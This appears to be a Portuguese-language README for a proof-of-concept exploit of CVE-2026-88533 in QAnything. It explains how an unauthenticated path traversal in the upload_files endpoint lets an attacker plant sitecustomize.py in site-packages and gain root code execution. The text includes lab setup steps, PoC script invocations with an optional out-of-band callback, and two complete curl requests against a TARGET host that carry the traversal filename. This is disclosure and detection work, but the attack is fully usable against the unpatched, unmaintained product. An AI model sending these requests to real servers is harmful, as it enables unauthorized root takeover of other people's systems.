
PoC e reprodução em laboratório para CVE-2026-88533, uma escrita arbitrária de arquivos não autenticada que leva a RCE como root no QAnything por meio de path traversal no endpoint de upload.
ID CVE: CVE-2026-88533 (atribuído pelo MITRE, publicação do registro pendente)
Produto: QAnything da netease-youdao — plataforma open-source de RAG / QA com base de conhecimento
Afetado: v1.4.x até v2.0.0 (branch padrão qanything-v2, até o commit final 65de104)
Versão corrigida: nenhuma — projeto sem manutenção desde 2025-03-12; a única correção de sanitização (PR #483) está no branch legado master e nunca foi mesclada no qanything-v2
Fraqueza: CWE-22 Path Traversal
Impacto: Criação arbitrária de arquivo não autenticada → Execução Remota de Código como uid=0(root)
Descobridor: Yankui Li
O endpoint de upload de arquivos POST /api/local_doc_qa/upload_files recebe o filename
multipart controlado pelo atacante e o utiliza como caminho de destino sem sanitizar os
separadores de caminho. urllib.parse.unquote() expande %2f de volta para /, o filtro de
caracteres de largura total e o truncamento de comprimento deixam ../ e caminhos absolutos
intactos, e os.path.join(base, name) descarta completamente a base quando name é absoluto.
O open(file_location, "wb") resultante grava conteúdo controlado pelo atacante em qualquer
local que o processo possa alcançar — dentro de um contêiner root por padrão.
Como o produto não exige autenticação em nenhum lugar (user_id/user_info são parâmetros
comuns de requisição), qualquer instância acessível pela rede aceita isso anonimamente.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Duas propriedades tornam isso explorável de forma confiável:
../.%2e%2e%2f sobrevive porque o unquote é executado antes de qualquer filtro.Um contraste de hardening dentro da mesma base de código: o endpoint upload_faqs substitui /
por _ nos nomes de arquivo. upload_files nunca recebeu esse tratamento, tornando-o o único
vetor de escrita.
Nota: LocalFile.__init__ possui uma guarda if not os.path.exists(file_location), então
apenas novos arquivos podem ser criados — arquivos existentes não podem ser sobrescritos.
A exploração, portanto, visa novos arquivos em locais executáveis.
A imagem Docker oficial executa o backend Python como root. O CPython importa automaticamente
sitecustomize.py de site-packages na inicialização do interpretador — um arquivo novo
colocado em:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ relativo, ou caminho absoluto) é importado na próxima vez que o backend iniciar,
executando código do atacante como uid=0(root).
Por que
site-packagese não o diretório da aplicação? O CPython executasite.pyantes de inserirsys.path[0], então umsitecustomize.pyao lado do script de entrada não é auto-importado.site-packagesé a única zona de entrega confiável.
Outros vetores foram testados e descartados (documentados para completude):
/etc/cron.d/ — o diretório existe e aceita gravações, mas a imagem não inclui nenhum daemon cron, então nada executa o payload.Imagem oficial + código-fonte vulnerável fixado (commit 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
O script PoC vem neste repositório (poc_qanything_cve_2026_88533.py) — cada item de
evidência abaixo foi produzido executando-o contra a stack de laboratório acima. Clone e
reproduza a saída exata você mesmo:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full reinicia o contêiner alvo uma vez (comportamento documentado; a importação do
CPython dispara na inicialização). Tudo é entregue seguro por padrão: sem reverse shell,
sem payload destrutivo — o payload de demonstração grava um arquivo marcador contendo a saída
de id.
Todo o ataque consiste em dois POSTs HTTP; é nisso que o conteúdo de detecção deve se basear
(o filename multipart carregando um caminho absoluto ou sequências ..//%2f é o sinal-chave):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
Todas as evidências abaixo são a saída real do terminal de poc_qanything_cve_2026_88533.py
(o script neste repositório) executado contra a stack de laboratório construída a partir de
docker-compose-lab.yaml. Nenhuma etapa foi falsificada ou simulada — o script sai com código
diferente de zero a menos que todas as verificações passem, então você pode verificar a cadeia
de ponta a ponta por conta própria.
Stack de laboratório — imagem oficial + dependências mínimas, todos os contêineres saudáveis:

--mode check — primitiva de escrita não autenticada confirmada: o marcador foi gravado fora
do diretório de upload via um filename multipart com caminho absoluto e lido de volta de dentro do contêiner:

--mode full — após o reinício do contêiner, o CPython auto-importa o sitecustomize.py
plantado; o marcador do payload comprova execução como uid=0(root):
